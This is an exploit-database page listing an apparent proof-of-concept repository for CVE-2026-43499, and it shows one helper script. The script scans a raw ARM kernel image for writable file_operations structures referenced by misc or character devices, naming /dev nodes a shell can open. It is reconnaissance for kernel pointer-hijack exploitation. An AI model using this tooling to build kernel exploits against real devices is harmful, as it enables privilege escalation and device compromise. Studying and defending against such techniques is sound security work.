Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

165 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files258
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

workspace/ota/scan_misc_fops.py

Python · 2,458 bytes
#!/usr/bin/env python3
# Find WRITABLE (.data, va>=_sdata) struct file_operations shaped objects that
# are referenced by a struct miscdevice (fops ptr at +8, name ptr at +4) or a
# struct cdev (ops ptr at +0x18), giving the /dev node name shell can open.
import struct,re
RAW=r'/mnt/d/project/ow/ota/kernel_raw.bin'
BASE=0xC0008000
d=open(RAW,'rb').read(); N=len(d)
def rd(va):
    o=va-BASE
    if o<0 or o+4>N: return None
    return struct.unpack_from('<I',d,o)[0]
def cstr(va,maxlen=64):
    o=va-BASE
    if o<0 or o>=N: return None
    out=b''
    for b in d[o:o+maxlen]:
        if b==0: break
        if b<0x20 or b>0x7e: return None
        out+=bytes([b])
    return out.decode() if out and len(out)>=2 else None
SDATA=0xc1b00000
TLO,THI=0xc0008000,0xc105f000
RO_LO,RO_HI=0xc105f000,SDATA
END=BASE+N
def istext(v): return v is not None and TLO<=v<THI

# 1) fops-shaped candidates in writable image range
cands=[]
a=SDATA
while a < END-0x40:
    o=a-BASE
    # zero window: poll(+24),unlocked(+28),compat(+2c),mmap(+30) all zero;
    # ticket word +24 zero, owner-of-rtmutex (+30) zero
    if d[o+0x24:o+0x34]==b'\x00'*16:
        slots=[rd(a+4*k) for k in range(1,10)]
        txt=sum(1 for v in slots[:8] if istext(v))
        # require llseek/read/write/read_iter-ish text presence
        if txt>=2 and (istext(slots[0]) or istext(slots[1]) or istext(slots[2])
                       or istext(slots[3]) or istext(slots[4])):
            cands.append((a,slots))
    a+=4
print('fops-shaped candidates in .data:',len(cands))

# build map: word value -> positions (only scan once)
# miscdevice: name(+4) rodata string, fops(+8)==candidate
def find_refs(target):
    res=[]
    needle=struct.pack('<I',target)
    start=SDATA-BASE
    idx=d.find(needle,start)
    while idx!=-1 and idx<N:
        res.append(BASE+idx)
        idx=d.find(needle,idx+4)
    return res

for fa,slots in cands:
    refs=find_refs(fa)
    for r in refs:
        # miscdevice layout: fops at +8 => struct base r-8, name at base+4 = r-4
        name=cstr(rd(r-4) or 0)
        minor=rd(r-8)
        if name and minor is not None and minor<0x100:
            print('MISC fops=%08x minor=%s name=%s via %08x'%(fa,minor,name,r-8))
        # cdev layout: ops at +0x18 => base r-0x18
        base=r-0x18
        owner=rd(base+0x14)
        if owner in (0,0xffffffff) or (owner and owner<END):
            print('CDEV? fops=%08x via cdev %08x owner=%08x'%(fa,base,owner or 0))